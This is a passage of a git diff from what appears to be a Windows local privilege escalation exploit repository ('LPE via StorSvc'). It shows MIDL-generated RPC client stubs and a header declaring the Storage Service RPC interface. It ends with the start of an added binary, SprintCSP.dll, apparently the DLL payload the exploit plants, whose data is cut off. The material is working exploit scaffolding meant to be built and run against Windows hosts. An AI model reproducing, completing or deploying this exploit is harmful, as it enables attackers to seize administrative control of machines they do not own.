1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 24, + } +}; + +static const __midl_frag109_t __midl_frag109 = +{ + { + 0x35, + (NDR64_UINT8) 3, + { + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0, + (NDR64_UINT32) 24, + 0, + 0, + 0, + }, + { + { + 0x5, + (NDR64_UINT8) 0, + (NDR64_UINT16) 0, + (NDR64_UINT32) 0 + }, + { + 0x4, + (NDR64_UINT8) 0, + (NDR64_UINT16) 0, + (NDR64_UINT32) 0 + }, + { + 0x90, + (NDR64_UINT8) 0, + (NDR64_UINT16) 2, + (NDR64_UINT32) 0 + }, + { + 0x5, + (NDR64_UINT8) 0, + (NDR64_UINT16) 0, + (NDR64_UINT32) 0 + }, + { + 0x5, + (NDR64_UINT8) 0, + (NDR64_UINT16) 0, + (NDR64_UINT32) 0 + }, + { + 0x5, + (NDR64_UINT8) 0, + (NDR64_UINT16) 0, + (NDR64_UINT32) 0 + }, + { + 0x5, + (NDR64_UINT8) 0, + (NDR64_UINT16) 0, + (NDR64_UINT32) 0 + }, + { + 0x93, + (NDR64_UINT8) 0, + (NDR64_UINT16) 0, + (NDR64_UINT32) 0 + } + } +}; + +static const __midl_frag108_t __midl_frag108 = +{ + 0x20, + (NDR64_UINT8) 0, + (NDR64_UINT16) 0, + &__midl_frag109 +}; + +static const __midl_frag107_t __midl_frag107 = +{ + { + (NDR64_UINT32) 17694784, + (NDR64_UINT32) 24 , + (NDR64_UINT32) 0, + (NDR64_UINT32) 8, + (NDR64_UINT16) 0, + (NDR64_UINT16) 0, + (NDR64_UINT16) 2, + (NDR64_UINT16) 8 + }, + { + { + 0x72, + (NDR64_UINT8) 0, + 0, + (NDR64_UINT8) 0, + (NDR64_UINT8) 0 + }, + (NDR64_UINT16) 0 + }, + { + &__midl_frag109, + { + 1, + 1, + 0, + 1, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 8, + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 16, + } +}; + +static const __midl_frag102_t __midl_frag102 = +0x4; + +static const __midl_frag101_t __midl_frag101 = +{ + { + (NDR64_UINT32) 17563712, + (NDR64_UINT32) 40 , + (NDR64_UINT32) 14, + (NDR64_UINT32) 8, + (NDR64_UINT16) 0, + (NDR64_UINT16) 0, + (NDR64_UINT16) 4, + (NDR64_UINT16) 8 + }, + { + { + 0x72, + (NDR64_UINT8) 0, + 0, + (NDR64_UINT8) 0, + (NDR64_UINT8) 0 + }, + (NDR64_UINT16) 0 + }, + { + &__midl_frag102, + { + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 8, + }, + { + &__midl_frag122, + { + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 16, + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 24, + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 32, + } +}; + +static const __midl_frag94_t __midl_frag94 = +{ + { + (NDR64_UINT32) 17563712, + (NDR64_UINT32) 40 , + (NDR64_UINT32) 6, + (NDR64_UINT32) 40, + (NDR64_UINT16) 0, + (NDR64_UINT16) 0, + (NDR64_UINT16) 4, + (NDR64_UINT16) 8 + }, + { + { + 0x72, + (NDR64_UINT8) 0, + 0, + (NDR64_UINT8) 0, + (NDR64_UINT8) 0 + }, + (NDR64_UINT16) 0 + }, + { + &__midl_frag102, + { + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 8, + }, + { + &__midl_frag122, + { + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 16, + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 1 + }, + (NDR64_UINT16) 0, + 24, + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 32, + } +}; + +static const __midl_frag89_t __midl_frag89 = +{ + { + (NDR64_UINT32) 17301568, + (NDR64_UINT32) 32 , + (NDR64_UINT32) 6, + (NDR64_UINT32) 40, + (NDR64_UINT16) 0, + (NDR64_UINT16) 0, + (NDR64_UINT16) 3, + (NDR64_UINT16) 8 + }, + { + { + 0x72, + (NDR64_UINT8) 0, + 0, + (NDR64_UINT8) 0, + (NDR64_UINT8) 0 + }, + (NDR64_UINT16) 0 + }, + { + &__midl_frag102, + { + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 8, + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 1 + }, + (NDR64_UINT16) 0, + 16, + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 24, + } +}; + +static const __midl_frag85_t __midl_frag85 = +{ + { + (NDR64_UINT32) 17301568, + (NDR64_UINT32) 32 , + (NDR64_UINT32) 14, + (NDR64_UINT32) 8, + (NDR64_UINT16) 0, + (NDR64_UINT16) 0, + (NDR64_UINT16) 3, + (NDR64_UINT16) 8 + }, + { + { + 0x72, + (NDR64_UINT8) 0, + 0, + (NDR64_UINT8) 0, + (NDR64_UINT8) 0 + }, + (NDR64_UINT16) 0 + }, + { + &__midl_frag102, + { + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 8, + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 16, + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 24, + } +}; + +static const __midl_frag83_t __midl_frag83 = +{ + { + (NDR64_UINT32) 17301568, + (NDR64_UINT32) 16 , + (NDR64_UINT32) 0, + (NDR64_UINT32) 8, + (NDR64_UINT16) 0, + (NDR64_UINT16) 0, + (NDR64_UINT16) 1, + (NDR64_UINT16) 8 + }, + { + { + 0x72, + (NDR64_UINT8) 0, + 0, + (NDR64_UINT8) 0, + (NDR64_UINT8) 0 + }, + (NDR64_UINT16) 0 + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 8, + } +}; + +static const __midl_frag81_t __midl_frag81 = +{ + { + 0x30, + (NDR64_UINT8) 3, + { + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0, + (NDR64_UINT32) 16 + } +}; + +static const __midl_frag80_t __midl_frag80 = +{ + 0x20, + (NDR64_UINT8) 0, + (NDR64_UINT16) 0, + &__midl_frag81 +}; + +static const __midl_frag77_t __midl_frag77 = +{ + { + (NDR64_UINT32) 17301568, + (NDR64_UINT32) 40 , + (NDR64_UINT32) 70, + (NDR64_UINT32) 64, + (NDR64_UINT16) 0, + (NDR64_UINT16) 0, + (NDR64_UINT16) 4, + (NDR64_UINT16) 8 + }, + { + { + 0x72, + (NDR64_UINT8) 0, + 0, + (NDR64_UINT8) 0, + (NDR64_UINT8) 0 + }, + (NDR64_UINT16) 0 + }, + { + &__midl_frag102, + { + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 8, + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 16, + }, + { + &__midl_frag81, + { + 0, + 1, + 0, + 1, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 24, + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 32, + } +}; + +static const __midl_frag76_t __midl_frag76 = +0x7; + +static const __midl_frag73_t __midl_frag73 = +{ + 0x20, + (NDR64_UINT8) 0, + (NDR64_UINT16) 0, + &__midl_frag123 +}; + +static const __midl_frag70_t __midl_frag70 = +{ + { + (NDR64_UINT32) 17563712, + (NDR64_UINT32) 40 , + (NDR64_UINT32) 8, + (NDR64_UINT32) 16, + (NDR64_UINT16) 0, + (NDR64_UINT16) 0, + (NDR64_UINT16) 4, + (NDR64_UINT16) 8 + }, + { + { + 0x72, + (NDR64_UINT8) 0, + 0, + (NDR64_UINT8) 0, + (NDR64_UINT8) 0 + }, + (NDR64_UINT16) 0 + }, + { + &__midl_frag123, + { + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 8, + }, + { + &__midl_frag123, + { + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 16, + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 24, + }, + { + &__midl_frag76, + { + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 32, + } +}; + +static const __midl_frag64_t __midl_frag64 = +{ + { + 0x35, + (NDR64_UINT8) 3, + { + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0, + (NDR64_UINT32) 16, + 0, + 0, + 0, + }, + { + { + 0x5, + (NDR64_UINT8) 0, + (NDR64_UINT16) 0, + (NDR64_UINT32) 0 + }, + { + 0x4, + (NDR64_UINT8) 0, + (NDR64_UINT16) 0, + (NDR64_UINT32) 0 + }, + { + 0x90, + (NDR64_UINT8) 0, + (NDR64_UINT16) 2, + (NDR64_UINT32) 0 + }, + { + 0x5, + (NDR64_UINT8) 0, + (NDR64_UINT16) 0, + (NDR64_UINT32) 0 + }, + { + 0x4, + (NDR64_UINT8) 0, + (NDR64_UINT16) 0, + (NDR64_UINT32) 0 + }, + { + 0x4, + (NDR64_UINT8) 0, + (NDR64_UINT16) 0, + (NDR64_UINT32) 0 + }, + { + 0x93, + (NDR64_UINT8) 0, + (NDR64_UINT16) 0, + (NDR64_UINT32) 0 + } + } +}; + +static const __midl_frag63_t __midl_frag63 = +{ + 0x20, + (NDR64_UINT8) 0, + (NDR64_UINT16) 0, + &__midl_frag64 +}; + +static const __midl_frag62_t __midl_frag62 = +{ + { + (NDR64_UINT32) 17563712, + (NDR64_UINT32) 24 , + (NDR64_UINT32) 0, + (NDR64_UINT32) 8, + (NDR64_UINT16) 0, + (NDR64_UINT16) 0, + (NDR64_UINT16) 2, + (NDR64_UINT16) 8 + }, + { + { + 0x72, + (NDR64_UINT8) 0, + 0, + (NDR64_UINT8) 0, + (NDR64_UINT8) 0 + }, + (NDR64_UINT16) 0 + }, + { + &__midl_frag64, + { + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 8, + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 16, + } +}; + +static const __midl_frag56_t __midl_frag56 = +{ + { + (NDR64_UINT32) 17301568, + (NDR64_UINT32) 48 , + (NDR64_UINT32) 28, + (NDR64_UINT32) 8, + (NDR64_UINT16) 0, + (NDR64_UINT16) 0, + (NDR64_UINT16) 5, + (NDR64_UINT16) 8 + }, + { + { + 0x72, + (NDR64_UINT8) 0, + 0, + (NDR64_UINT8) 0, + (NDR64_UINT8) 0 + }, + (NDR64_UINT16) 0 + }, + { + &__midl_frag102, + { + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 8, + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 16, + }, + { + &__midl_frag102, + { + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 24, + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 32, + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 40, + } +}; + +static const __midl_frag47_t __midl_frag47 = +{ + { + (NDR64_UINT32) 17301568, + (NDR64_UINT32) 48 , + (NDR64_UINT32) 20, + (NDR64_UINT32) 40, + (NDR64_UINT16) 0, + (NDR64_UINT16) 0, + (NDR64_UINT16) 5, + (NDR64_UINT16) 8 + }, + { + { + 0x72, + (NDR64_UINT8) 0, + 0, + (NDR64_UINT8) 0, + (NDR64_UINT8) 0 + }, + (NDR64_UINT16) 0 + }, + { + &__midl_frag102, + { + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 8, + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 16, + }, + { + &__midl_frag102, + { + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 24, + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 1 + }, + (NDR64_UINT16) 0, + 32, + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 40, + } +}; + +static const __midl_frag39_t __midl_frag39 = +{ + { + (NDR64_UINT32) 17301568, + (NDR64_UINT32) 32 , + (NDR64_UINT32) 16, + (NDR64_UINT32) 8, + (NDR64_UINT16) 0, + (NDR64_UINT16) 0, + (NDR64_UINT16) 3, + (NDR64_UINT16) 8 + }, + { + { + 0x72, + (NDR64_UINT8) 0, + 0, + (NDR64_UINT8) 0, + (NDR64_UINT8) 0 + }, + (NDR64_UINT16) 0 + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 8, + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 16, + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 24, + } +}; + +static const __midl_frag33_t __midl_frag33 = +{ + { + 0x30, + (NDR64_UINT8) 3, + { + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0, + (NDR64_UINT32) 8 + } +}; + +static const __midl_frag32_t __midl_frag32 = +{ + 0x20, + (NDR64_UINT8) 4, + (NDR64_UINT16) 0, + &__midl_frag33 +}; + +static const __midl_frag28_t __midl_frag28 = +{ + { + (NDR64_UINT32) 17301568, + (NDR64_UINT32) 48 , + (NDR64_UINT32) 20, + (NDR64_UINT32) 72, + (NDR64_UINT16) 0, + (NDR64_UINT16) 0, + (NDR64_UINT16) 5, + (NDR64_UINT16) 8 + }, + { + { + 0x72, + (NDR64_UINT8) 0, + 0, + (NDR64_UINT8) 0, + (NDR64_UINT8) 0 + }, + (NDR64_UINT16) 0 + }, + { + &__midl_frag102, + { + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 8, + }, + { + &__midl_frag102, + { + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 16, + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 24, + }, + { + &__midl_frag33, + { + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 1 + }, + (NDR64_UINT16) 0, + 32, + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 40, + } +}; + +static const __midl_frag26_t __midl_frag26 = +{ + { + 0x30, + (NDR64_UINT8) 7, + { + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0, + (NDR64_UINT32) 1096 + } +}; + +static const __midl_frag25_t __midl_frag25 = +{ + 0x20, + (NDR64_UINT8) 0, + (NDR64_UINT16) 0, + &__midl_frag26 +}; + +static const __midl_frag22_t __midl_frag22 = +{ + { + (NDR64_UINT32) 17301568, + (NDR64_UINT32) 40 , + (NDR64_UINT32) 1198, + (NDR64_UINT32) 1192, + (NDR64_UINT16) 0, + (NDR64_UINT16) 0, + (NDR64_UINT16) 4, + (NDR64_UINT16) 8 + }, + { + { + 0x72, + (NDR64_UINT8) 0, + 0, + (NDR64_UINT8) 0, + (NDR64_UINT8) 0 + }, + (NDR64_UINT16) 0 + }, + { + &__midl_frag102, + { + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 8, + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 16, + }, + { + &__midl_frag26, + { + 0, + 1, + 0, + 1, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 24, + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 32, + } +}; + +static const __midl_frag12_t __midl_frag12 = +{ + { + (NDR64_UINT32) 17301568, + (NDR64_UINT32) 40 , + (NDR64_UINT32) 22, + (NDR64_UINT32) 8, + (NDR64_UINT16) 0, + (NDR64_UINT16) 0, + (NDR64_UINT16) 4, + (NDR64_UINT16) 8 + }, + { + { + 0x72, + (NDR64_UINT8) 0, + 0, + (NDR64_UINT8) 0, + (NDR64_UINT8) 0 + }, + (NDR64_UINT16) 0 + }, + { + &__midl_frag102, + { + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 8, + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 16, + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 24, + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 32, + } +}; + +static const __midl_frag1_t __midl_frag1 = +(NDR64_UINT32) 0; + + +#include "poppack.h" + + +static const FormatInfoRef DefaultIfName_Ndr64ProcTable[] = + { + &__midl_frag12, + &__midl_frag12, + &__midl_frag12, + &__midl_frag89, + &__midl_frag22, + &__midl_frag28, + &__midl_frag39, + &__midl_frag39, + &__midl_frag85, + &__midl_frag47, + &__midl_frag83, + &__midl_frag56, + &__midl_frag62, + &__midl_frag85, + &__midl_frag70, + &__midl_frag77, + &__midl_frag83, + &__midl_frag85, + &__midl_frag89, + &__midl_frag94, + &__midl_frag101, + &__midl_frag107, + &__midl_frag111, + &__midl_frag120 + }; + + +static const MIDL_STUB_DESC DefaultIfName_StubDesc = + { + (void *)& DefaultIfName___RpcClientInterface, + MIDL_user_allocate, + MIDL_user_free, + &DefaultIfName__MIDL_AutoBindHandle, + 0, + 0, + 0, + 0, + storsvc__MIDL_TypeFormatString.Format, + 1, + 0x60001, + 0, + 0x801026e, + 0, + 0, + 0, + 0x2000001, + 0, + (void *)& DefaultIfName_ProxyInfo, + 0 + }; + +static const MIDL_SYNTAX_INFO DefaultIfName_SyntaxInfo [ 2 ] = + { + { + {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}}, + 0, + storsvc__MIDL_ProcFormatString.Format, + DefaultIfName_FormatStringOffsetTable, + storsvc__MIDL_TypeFormatString.Format, + 0, + 0, + 0 + } + ,{ + {{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}}, + 0, + 0 , + (unsigned short *) DefaultIfName_Ndr64ProcTable, + 0, + 0, + 0, + 0 + } + }; + +static const MIDL_STUBLESS_PROXY_INFO DefaultIfName_ProxyInfo = + { + &DefaultIfName_StubDesc, + storsvc__MIDL_ProcFormatString.Format, + DefaultIfName_FormatStringOffsetTable, + (RPC_SYNTAX_IDENTIFIER*)&_RpcTransferSyntax, + 2, + (MIDL_SYNTAX_INFO*)DefaultIfName_SyntaxInfo + + }; + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif + + +#endif + diff --git a/Windows/Universal/LPE via StorSvc/RpcClient/RpcClient/storsvc_h.h b/Windows/Universal/LPE via StorSvc/RpcClient/RpcClient/storsvc_h.h new file mode 100644 index 0000000..b20de36 --- /dev/null +++ b/Windows/Universal/LPE via StorSvc/RpcClient/RpcClient/storsvc_h.h @@ -0,0 +1,153 @@ + +#ifndef __REQUIRED_RPCNDR_H_VERSION__ +#define __REQUIRED_RPCNDR_H_VERSION__ 500 +#endif + +#include "rpc.h" +#include "rpcndr.h" + +#ifndef __RPCNDR_H_VERSION__ +#error this stub requires an updated version of +#endif + + +#ifndef __storsvc_h_h__ +#define __storsvc_h_h__ + +#if defined(_MSC_VER) && (_MSC_VER >= 1020) +#pragma once +#endif + +#ifdef __cplusplus +extern "C"{ +#endif + + +#ifndef __DefaultIfName_INTERFACE_DEFINED__ +#define __DefaultIfName_INTERFACE_DEFINED__ + +typedef struct Struct_22_t + { + long StructMember0; + short StructMember1; + short StructMember2; + byte StructMember3[ 8 ]; + } Struct_22_t; + +typedef struct Struct_34_t + { + long StructMember0; + wchar_t StructMember1[ 260 ]; + long StructMember2; + short StructMember3; + short StructMember4; + long StructMember5; + short StructMember6; + short StructMember7; + struct Struct_22_t StructMember8; + long StructMember9; + hyper StructMember10; + wchar_t StructMember11[ 260 ]; + long StructMember12; + long StructMember13; + } Struct_34_t; + +typedef struct Struct_76_t + { + long StructMember0[ 2 ]; + } Struct_76_t; + +typedef struct Struct_90_t + { + long StructMember0; + short StructMember1; + long StructMember2; + short StructMember3; + short StructMember4; + } Struct_90_t; + +typedef struct Struct_112_t + { + long StructMember0; + long StructMember1; + long StructMember2; + short StructMember3; + } Struct_112_t; + +typedef struct Struct_134_t + { + long StructMember0; + short StructMember1; + long StructMember2; + long StructMember3; + long StructMember4; + long StructMember5; + } Struct_134_t; + +typedef struct Struct_164_t + { + double StructMember0; + wchar_t StructMember1[ 39 ]; + } Struct_164_t; + +long Proc0_SvcMountVolume( handle_t IDL_handle, short arg_1, long arg_2, long arg_3); + +long Proc1_SvcDismountVolume( handle_t IDL_handle, short arg_1, long arg_2, long arg_3); + +long Proc2_SvcFormatVolume( handle_t IDL_handle, short arg_1, long arg_2, long arg_3); + +long Proc3_SvcGetStorageInstanceCount( handle_t IDL_handle, short arg_1, long *arg_2); + +long Proc4_SvcGetStorageDeviceInfo( handle_t IDL_handle, short arg_1, long arg_2, struct Struct_34_t *arg_3); + +long Proc5_CCleanupPolicy__CleanupItem( handle_t IDL_handle, short arg_1, short arg_2, long arg_3, struct Struct_76_t *arg_4); + +long Proc6_SvcRebootToFlashingMode( handle_t IDL_handle, long arg_1, long arg_2); + +long Proc7_SvcRebootToUosFlashing( handle_t IDL_handle, long arg_1, long arg_2); + +long Proc8_SvcFinalizeVolume( handle_t IDL_handle, short arg_1, long arg_2); + +long Proc9_SvcGetStorageSettings( handle_t IDL_handle, short arg_1, long arg_2, short arg_3, long *arg_4); + +long Proc10_SvcResetStoragePolicySettings( handle_t IDL_handle); + +long Proc11_SvcSetStorageSettings( handle_t IDL_handle, short arg_1, long arg_2, short arg_3, long arg_4); + +long Proc12_SvcTriggerStorageCleanup( handle_t IDL_handle, struct Struct_90_t *arg_1); + +long Proc13_SvcTriggerLowStorageNotification( handle_t IDL_handle, short arg_1, long arg_2); + +__int3264 Proc14_SvcMoveFileInheritSecurity( handle_t IDL_handle, wchar_t *arg_1, wchar_t *arg_2, long arg_3); + +long Proc15_SvcScanVolume( handle_t IDL_handle, short arg_1, long arg_2, struct Struct_112_t *arg_3); + +long Proc16_SvcProcessStorageCardChange( handle_t IDL_handle); + +long Proc17_SvcProvisionForAppInstall( handle_t IDL_handle, short arg_1, long arg_2); + +long Proc18_SvcGetStorageInstanceCountForMaps( handle_t IDL_handle, short arg_1, long *arg_2); + +long Proc19_SvcGetStoragePolicySettings( handle_t IDL_handle, short arg_1, wchar_t *arg_2, long *arg_3); + +long Proc20_SvcSetStoragePolicySettings( handle_t IDL_handle, short arg_1, wchar_t *arg_2, long arg_3); + +long Proc21_SvcTriggerStoragePolicies( handle_t IDL_handle, struct Struct_134_t *arg_1); + +long Proc22_SvcPredictStorageHealth( handle_t IDL_handle, struct Struct_164_t **arg_1, long *arg_2); + +long Proc23_SvcGetLastFailedSaveLocationPath( handle_t IDL_handle, wchar_t **arg_1); + + + +extern RPC_IF_HANDLE DefaultIfName_v0_0_c_ifspec; +extern RPC_IF_HANDLE DefaultIfName_v0_0_s_ifspec; +#endif + +#ifdef __cplusplus +} +#endif + +#endif + + diff --git a/Windows/Universal/LPE via StorSvc/SprintCSP.dll b/Windows/Universal/LPE via StorSvc/SprintCSP.dll new file mode 100644 index 0000000000000000000000000000000000000000..e5684ebad5a386fd6e1eccdccc96ffb66e9c4452 GIT binary patch literal 14336 zcmeHNeRNdSwLg>0gb)%YUVYR&boK+v(Mi9?6c1~`|NY?RIh7i>5MTmZcSsX1CTB!e}2xx#MtCZk4$Ed 